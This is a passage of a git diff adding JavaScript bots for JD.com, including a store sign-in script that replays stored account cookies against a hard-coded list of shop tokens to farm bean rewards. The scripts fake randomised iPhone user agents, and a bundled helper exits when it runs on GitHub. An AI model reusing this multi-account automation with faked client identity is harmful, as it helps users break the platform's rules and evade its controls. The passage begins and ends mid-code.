}) + }) +} + +function qryCompositeMaterials() { + return new Promise((resolve) => { + $.post(taskPostUrl("qryCompositeMaterials", {"geo":null,"mcChannel":0,"activityId":"01235772","pageId":"3620025","qryParam":"[{\"type\":\"advertGroup\",\"id\":\"06327486\",\"mapTo\":\"advData\",\"next\":[{\"type\":\"productGroup\",\"mapKey\":\"comment[0]\",\"mapTo\":\"productGroup\",\"attributes\":13}]}]","applyKey":"21new_products_h"}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`qryCompositeMaterials API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + //console.log(data) + for (let key of Object.keys(data.data.advData.list)) { + let vo = data.data.advData.list[key] + if (vo.next && vo.next.productGroup) { + for (let key of Object.keys(vo.next.productGroup.list)) { + let skuVo = vo.next.productGroup.list[key] + $.sku.push(skuVo.skuId) + } + break + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function qryCompositeMaterials2() { + return new Promise((resolve) => { + $.post(taskPostUrl("qryCompositeMaterials", {"geo":null,"mcChannel":0,"activityId":"01213138","pageId":"3513123","qryParam":"[{\"type\":\"advertGroup\",\"id\":\"06290597\",\"mapTo\":\"advData\",\"next\":[{\"type\":\"productGroup\",\"mapKey\":\"comment[0]\",\"mapTo\":\"productGroup\",\"attributes\":13}]}]","applyKey":"21new_products_h"}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`qryCompositeMaterials API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + //console.log(data); + for (let key of Object.keys(data.data.advData.list)) { + let vo = data.data.advData.list[key] + $.adv.push(vo.advertId) + // console.log($.adv); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} +function executeNewInteractionTask(taskType, advertId) { + body = { "geo": null, "mcChannel": 0, "sign": 3, "interactionId": $.interactionId, "taskPoolId": $.taskPoolId, "taskType": taskType, "advertId": advertId } + if (taskType === 2002) { + body = { "geo": null, "mcChannel": 0, "sign": 3, "interactionId": $.interactionId, "taskPoolId": $.taskPoolId, "taskType": taskType, "sku": advertId } + } + return new Promise((resolve) => { + $.post(taskPostUrl("executeNewInteractionTask", body), (err, resp, data) => { + // console.log(taskPostUrl("executeNewInteractionTask", body)); + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} executeNewInteractionTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.result.hasDown === 1) { + console.log(data.result.isLottery === 1 ? `找到了一个魔方,获得${data.result.lotteryInfoList[0].quantity || ''}${data.result.lotteryInfoList[0].name}` : `找到了一个魔方`) + $.complete = true + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} +function getNewFinalLotteryInfo() { + return new Promise((resolve) => { + $.post(taskPostUrl("getNewFinalLotteryInfo", { "geo": null, "mcChannel": 0, "sign": 3, "interactionId": $.interactionId }), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getNewFinalLotteryInfo API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.result.lotteryStatus === 1) { + console.log(`开启礼盒成功:获得${data.result.lotteryInfoList[0].quantity}${data.result.lotteryInfoList[0].name}`) + } else { + console.log(`开启礼盒成功:${data.result.toast}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + + +function taskPostUrl(functionId, body = {}) { + body = JSON.stringify(body) + if (functionId === "queryPanamaPage") body = escape(body) + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${encodeURI((body))}&client=wh5&clientVersion=10.1.4&appid=content_ecology&uuid=${uuid}&t=${Date.now()}`, + headers: { + 'Host': 'api.m.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://prodev.m.jd.com', + 'Accept-Language': 'zh-cn', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://prodev.m.jd.com/mall/active/TqTRGRrp9HZTfeyRTL2UGmX4mHG/index.html?babelChannel=ttt30', + 'Accept-Encoding': 'gzip, deflate, br', + 'Cookie': cookie + } + } +} + + +function taskSignUrl(url, body) { + return { + url, + body: `body=${escape(body)}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': '', + 'User-Agent': 'JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function randomString(e) { + let t = "abcdef0123456789" + if (e === 16) t = "abcdefghijklmnopqrstuvwxyz0123456789" + e = e || 32; + let a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_dpqd.js b/jd_dpqd.js new file mode 100644 index 0000000..9a86f03 --- /dev/null +++ b/jd_dpqd.js @@ -0,0 +1,381 @@ +/* +店铺签到 +15 2,14 * * * jd_dpqd.js +*/ +const $ = new Env('店铺签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMessage = '', message; +const JD_API_HOST = 'https://api.m.jd.com/api?appid=interCenter_shopSign'; + +let activityId='' +let vender='' +let num=0 +let shopname='' +const token = [ + "374951B8D50E5D4E01E40153413F00E9", + "44C33E9D3144110A9FEE634A4888D31B", + "3949F55A02AA8A345409AFD9821C861F", + "C387DE3A3F4381FB3E451F0C40069FE6", + "05451231AF1DE95AC10FC3A56C3F8A73", + "A92269DC92DDD73CC5EB38B3BACF51E3", + "94C7B64A6137E339AAA79DC3A6465C1B", + "2ED2F283E4640130BA5128E8BBDC3DDA", + "1DD46671387EAC6FDC14B753E01D5E30", + "BD0D2682B13A75E0AAF7D8E78844F07C", + "662E62C629FB6B20CED938E41A0DC026", + "F573A078062F9F18BFCC39080864D7F5", + "D7DCB5D6D847EB0167C2B0A180B95F68", + "D9831E95344C483C6B6B7D8FB314E0D7", + "582EA3EA048A3D49961766498A136F9C", + "2B9B07D1D14E821744F7BA63F94CD6F2", + "67D2D5824D043A5C2EA9C53B900B932C", + "2C8CBED431A4A275155387ABDF958427", + "833CE1B5158A097598C07D4B2B5B314E", + "37D0FAA99892A9E613A1B46E5A55973B", + "205E1E703925C48276C0DEBF16C6CBAD", + "D35923E942C11178C38BD29E783695B8", + "921478C146E5C60F2444E3978AC8E94F", + "F327D3978F47808803FD532F19BE3696", + "DCD4903E0278DBA70A302612F411876F", + "DB872465EDEB653BB501819F9B9DD326", + "D4BE8025929E6D662FBCB9F946BF4215", + "BC28601FD2C5B9A5D50038825C842358" +] + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = jsonParse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => item !== "" && item !== null && item !== undefined); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await dpqd() + await showMsg() + await $.wait(1500) + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +//开始店铺签到 +async function dpqd(){ + for (var j = 0; j < token.length; j++) { + num=j+1 + if (token[j]=='') {continue} + getUA() + await getvenderId(token[j]) + if (vender=='') {continue} + await getvenderName(vender) + await getActivityInfo(token[j],vender) + await signCollectGift(token[j],vender,activityId) + await taskUrl(token[j],vender) + } +} + +//获取店铺ID +function getvenderId(token) { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/api?appid=interCenter_shopSign&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:%22%22}&jsonp=jsonp1000`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": 'https://h5.m.jd.com/', + "User-Agent": $.UA + // "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + if (data.code==402) { + vender='' + console.log(`第`+num+`个店铺签到活动已失效`) + message +=`第`+num+`个店铺签到活动已失效\n` + }else{ + vender=data.data.venderId + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//获取店铺名称 +function getvenderName(venderId) { + return new Promise(resolve => { + const options = { + url: `https://wq.jd.com/mshop/QueryShopMemberInfoJson?venderId=${venderId}`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "User-Agent": $.UA + // "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(data) + shopName = data.shopName + console.log(`【`+shopName+`】`) + message +=`【`+shopName+`】` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + + +//获取店铺活动信息 +function getActivityInfo(token,venderId) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getActivityInfo&body={%22token%22:%22${token}%22,%22venderId%22:${venderId}}&jsonp=jsonp1005`, + headers: { + "accept": "accept", + "accept-encoding": "gzip, deflate", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, + "User-Agent": $.UA + // "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(data) + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + activityId=data.data.id + //console.log(data) + let mes=''; + for (let i = 0; i < data.data.continuePrizeRuleList.length; i++) { + const level=data.data.continuePrizeRuleList[i].level + const discount=data.data.continuePrizeRuleList[i].prizeList[0].discount + mes += "签到"+level+"天,获得"+discount+'豆' + } + // console.log(message+mes+'\n') + // message += mes+'\n' + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//店铺签到 +function signCollectGift(token,venderId,activitytemp) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_signCollectGift&body={%22token%22:%22${token}%22,%22venderId%22:688200,%22activityId%22:${activitytemp},%22type%22:56,%22actionType%22:7}&jsonp=jsonp1004`, + headers: { + "accept": "accept", + "accept-encoding": "gzip, deflate", + "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": cookie, + "referer": `https://h5.m.jd.com/babelDiy/Zeus/2PAAf74aG3D61qvfKUM5dxUssJQ9/index.html?token=${token}&sceneval=2&jxsid=16105853541009626903&cu=true&utm_source=kong&utm_medium=jingfen&utm_campaign=t_1001280291_&utm_term=fa3f8f38c56f44e2b4bfc2f37bce9713`, + "User-Agent": $.UA + // "User-Agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//店铺获取签到信息 +function taskUrl(token,venderId) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}&t=${Date.now()}&loginType=2&functionId=interact_center_shopSign_getSignRecord&body={%22token%22:%22${token}%22,%22venderId%22:${venderId},%22activityId%22:${activityId},%22type%22:56}&jsonp=jsonp1006`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "referer": `https://h5.m.jd.com/`, + "User-Agent": $.UA + // "user-agent": `Mozilla/5.0 (Linux; U; Android 10; zh-cn; MI 8 Build/QKQ1.190828.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40` + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + //console.log(data) + data = JSON.parse(/{(.*)}/g.exec(data)[0]) + console.log(`已签到:`+data.data.days+`天`) + message +=`已签到:`+data.data.days+`天\n` + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +async function showMsg() { + if ($.isNode()) { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + allMessage += `【京东账号${$.index}】${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": `jdapp;android;9.3.5;10;3353234393134326-3673735303632613;network/wifi;model/MI 8;addressid/138719729;aid/3524914bc77506b1;oaid/274aeb3d01b03a22;osVer/29;appBuild/86390;psn/Mp0dlaZf4czQtfPNMEfpcYU9S/f2Vv4y|2255;psq/1;adk/;ads/;pap/JA2015_311210|9.3.5|ANDROID 10;osv/10;pv/2039.1;jdv/0|androidapp|t_335139774|appshare|QQfriends|1611211482018|1611211495;ref/com.jingdong.app.mall.home.JDHomeFragment;partner/jingdong;apprpd/Home_Main;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36` + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = data['base'].nickname; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getUA() { + $.UA = `jdapp;iPhone;10.2.2;13.1.2;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone8,1;addressid/2308460611;appBuild/167863;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` +} + +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return 